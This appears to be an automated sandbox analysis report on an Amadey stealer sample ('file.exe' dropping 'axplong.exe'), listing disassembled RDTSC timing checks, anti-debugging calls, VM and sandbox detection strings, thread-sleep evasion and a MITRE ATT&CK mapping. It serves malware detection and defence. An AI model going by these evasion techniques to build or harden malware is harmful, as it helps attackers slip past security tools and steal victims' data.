Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC071E second address: 4AC078A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F9D1073AE79h 0x00000011 add ah, FFFFFF86h 0x00000014 jmp 00007F9D1073AE71h 0x00000019 popfd 0x0000001a movzx eax, bx 0x0000001d popad 0x0000001e and esp, FFFFFFF8h 0x00000021 pushad 0x00000022 call 00007F9D1073AE79h 0x00000027 mov bx, ax 0x0000002a pop esi 0x0000002b mov edi, 20D2FE70h 0x00000030 popad 0x00000031 push ebp 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC078A second address: 4AC078E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC078E second address: 4AC0794 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0794 second address: 4AC07A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9D106F765Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC07A7 second address: 4AC07D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebx 0x0000000b jmp 00007F9D1073AE75h 0x00000010 xchg eax, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9D1073AE6Dh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC07D7 second address: 4AC07E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9D106F765Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC07E7 second address: 4AC07EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC07EB second address: 4AC0824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F9D106F765Eh 0x0000000e xchg eax, esi 0x0000000f jmp 00007F9D106F7660h 0x00000014 mov esi, dword ptr [ebp+08h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F9D106F765Ah 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0824 second address: 4AC0833 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0833 second address: 4AC0839 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0839 second address: 4AC083D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC083D second address: 4AC085F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9D106F7663h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC085F second address: 4AC08BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9D1073AE6Fh 0x00000009 and ax, 72AEh 0x0000000e jmp 00007F9D1073AE79h 0x00000013 popfd 0x00000014 mov ah, BBh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 test esi, esi 0x0000001b jmp 00007F9D1073AE73h 0x00000020 je 00007F9D82BA0949h 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 mov eax, ebx 0x0000002b mov cx, bx 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0A17 second address: 4AC0A38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F765Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9D106F765Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0A38 second address: 4AC0A3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0A3E second address: 4AC0A54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov al, 78h 0x0000000c mov ebx, 22C27EF4h 0x00000011 popad 0x00000012 xchg eax, ebx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0A54 second address: 4AC0A5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0A5D second address: 4AC0AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push dword ptr [ebp+14h] 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F9D106F7666h 0x00000010 jmp 00007F9D106F7665h 0x00000015 popfd 0x00000016 push ecx 0x00000017 jmp 00007F9D106F7667h 0x0000001c pop esi 0x0000001d popad 0x0000001e push dword ptr [ebp+10h] 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F9D106F7661h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0AC6 second address: 4AC0ADB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AC0ADB second address: 4AC0AE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0019 second address: 4AE006D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 41B54762h 0x00000008 mov ah, dl 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 mov cl, 7Ch 0x00000014 popad 0x00000015 pushfd 0x00000016 jmp 00007F9D1073AE79h 0x0000001b sub ah, FFFFFFE6h 0x0000001e jmp 00007F9D1073AE71h 0x00000023 popfd 0x00000024 popad 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F9D1073AE6Ch 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE006D second address: 4AE007F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9D106F765Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE007F second address: 4AE00E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov ch, dh 0x0000000c pushfd 0x0000000d jmp 00007F9D1073AE76h 0x00000012 or ax, F118h 0x00000017 jmp 00007F9D1073AE6Bh 0x0000001c popfd 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 jmp 00007F9D1073AE76h 0x00000025 pop ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F9D1073AE77h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B507B0 second address: 4B50826 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F765Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F9D106F7666h 0x0000000f push eax 0x00000010 jmp 00007F9D106F765Bh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F9D106F7666h 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F9D106F765Dh 0x00000026 sbb ax, C756h 0x0000002b jmp 00007F9D106F7661h 0x00000030 popfd 0x00000031 mov ebx, ecx 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50826 second address: 4B5082B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40A59 second address: 4B40A5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40A5D second address: 4B40A74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9D1073AE6Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40A74 second address: 4B40AA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F7661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d mov bx, ax 0x00000010 mov esi, 1F937BBFh 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b mov esi, 081BD28Dh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40911 second address: 4B40917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE02FF second address: 4AE032D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 8Ch 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F9D106F7666h 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9D106F765Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE032D second address: 4AE0333 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0333 second address: 4AE0339 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40D31 second address: 4B40D43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9D1073AE6Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40D43 second address: 4B40D47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B40D47 second address: 4B40DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F9D1073AE77h 0x0000000e mov ebp, esp 0x00000010 jmp 00007F9D1073AE76h 0x00000015 push dword ptr [ebp+0Ch] 0x00000018 pushad 0x00000019 mov bx, si 0x0000001c push eax 0x0000001d push edx 0x0000001e pushfd 0x0000001f jmp 00007F9D1073AE78h 0x00000024 and ax, 9228h 0x00000029 jmp 00007F9D1073AE6Bh 0x0000002e popfd 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF084B second address: 4AF0851 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0851 second address: 4AF0855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF0855 second address: 4AF0859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF099B second address: 4AF09EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000000h] 0x0000000f jmp 00007F9D1073AE70h 0x00000014 nop 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F9D1073AE6Dh 0x0000001e adc ah, 00000026h 0x00000021 jmp 00007F9D1073AE71h 0x00000026 popfd 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF09EE second address: 4AF09F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: F1EB45 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1140D10 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: FEEB45 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 1210D10 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04B40CE5 rdtsc

0_2_04B40CE5

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1195	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1258	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1227	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 413	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1258	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2260	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4136	Thread sleep count: 1195 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4136	Thread sleep time: -2391195s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6868	Thread sleep count: 1258 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6868	Thread sleep time: -2517258s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4996	Thread sleep count: 1227 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 4996	Thread sleep time: -2455227s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6364	Thread sleep count: 413 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6364	Thread sleep time: -12390000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6264	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6120	Thread sleep count: 1258 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 6120	Thread sleep time: -2517258s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000			Jump to behavior

Source: axplong.exe, axplong.exe, 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1803876885.00000000006C9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: axplong.exe, 00000006.00000002.2996262320.0000000001617000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1804442258.000000000109B000.00000040.00000001.01000000.00000003.sdmp, axplong.exe, 00000001.00000002.1841573429.000000000116B000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000002.00000002.1852289301.000000000116B000.00000040.00000001.01000000.00000007.sdmp, axplong.exe, 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: axplong.exe, 00000006.00000002.2996262320.00000000015E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04B401BD Start: 04B40269 End: 04B401F1

0_2_04B401BD

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04B40CE5 rdtsc

0_2_04B40CE5

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00FB645B mov eax, dword ptr fs:[00000030h]		6_2_00FB645B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 6_2_00FBA1C2 mov eax, dword ptr fs:[00000030h]		6_2_00FBA1C2

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"

Jump to behavior

Source: axplong.exe, axplong.exe, 00000006.00000002.2994318678.000000000116B000.00000040.00000001.01000000.00000007.sdmp

Binary or memory string: /CProgram Manager

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_00F9D312 cpuid

6_2_00F9D312

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Queries volume information: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_00F9CB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_00F9CB1A

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_00F865B0 LookupAccountNameA,

6_2_00F865B0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.axplong.exe.f80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.axplong.exe.f80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.axplong.exe.f80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1852188803.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1804337968.0000000000EB1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2994049764.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2320957202.0000000005280000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1811913047.0000000005460000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1841414182.0000000000F81000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1800393603.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1763252380.0000000004930000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	251 Virtualization/Sandbox Evasion	LSASS Memory	741 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	12 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	251 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	224 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
